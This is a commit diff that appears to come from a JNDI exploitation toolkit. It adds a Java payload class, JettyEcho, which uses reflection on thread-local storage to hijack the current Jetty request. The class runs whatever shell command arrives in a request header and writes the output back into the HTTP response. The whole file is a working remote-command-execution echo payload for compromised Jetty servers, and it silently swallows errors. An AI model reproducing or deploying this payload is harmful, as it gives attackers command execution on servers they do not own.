Add constructor

2026-09-23 15:21:52 +08:00 · 2024-05-29 16:13:04 +08:00
parent 751035cd18
commit 72a91dd13f
72 changed files with 681 additions and 363 deletions
@@ -0,0 +1,78 @@
+package com.qi4l.jndi.template.echoStatic;
+
+import java.io.ByteArrayOutputStream;
+
+public class JettyEcho {
+
+    public static String CMD_HEADER;
+
+    static {
+        try {
+            Class                   clazz = Thread.currentThread().getClass();
+            java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals");
+            field.setAccessible(true);
+            Object obj = field.get(Thread.currentThread());
+
+            field = obj.getClass().getDeclaredField("table");
+            field.setAccessible(true);
+            obj = field.get(obj);
+
+            Object[] obj_arr = (Object[]) obj;
+            for (int i = 0; i < obj_arr.length; i++) {
+                Object o = obj_arr[i];
+                if (o == null) continue;
+
+                field = o.getClass().getDeclaredField("value");
+                field.setAccessible(true);
+                obj = field.get(o);
+
+                if (obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")) {
+                    Object                   connection = obj;
+                    java.lang.reflect.Method method     = connection.getClass().getMethod("getRequest", (Class<?>) null);
+                    obj = method.invoke(connection, (Object) null);
+
+                    method = obj.getClass().getMethod("getHeader", new Class[]{String.class});
+                    String cmd = (String) method.invoke(obj, new Object[]{"cmd"});
+
+                    if (cmd != null && !cmd.isEmpty()) {
+                        String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
+
+                        method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class});
+                        java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(connection, new Object[]{"utf-8"});
+                        printWriter.println(res);
+                    }
+
+                    break;
+                } else if (obj != null && obj.getClass().getName().endsWith("HttpConnection")) {
+                    java.lang.reflect.Method method      = obj.getClass().getDeclaredMethod("getHttpChannel", (Class<?>) null);
+                    Object                   httpChannel = method.invoke(obj, (Object) null);
+
+                    method = httpChannel.getClass().getMethod("getRequest", (Class<?>) null);
+                    obj = method.invoke(httpChannel, (Object) null);
+
+                    method = obj.getClass().getMethod("getHeader", new Class[]{String.class});
+                    String cmd = (String) method.invoke(obj, new Object[]{CMD_HEADER});
+                    if (cmd != null && !cmd.isEmpty()) {
+                        String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
+
+                        method = httpChannel.getClass().getMethod("getResponse", (Class<?>) null);
+                        obj = method.invoke(httpChannel, (Object) null);
+
+                        method = obj.getClass().getMethod("getWriter", (Class<?>) null);
+                        java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(obj, (Object) null);
+                        printWriter.println(res);
+                    }
+
+                    break;
+                }
+            }
+        } catch (Exception ignored) {
+        }
+
+    }
+
+    public static ByteArrayOutputStream q(String cmd) {
+        return null;
+    }
+
+}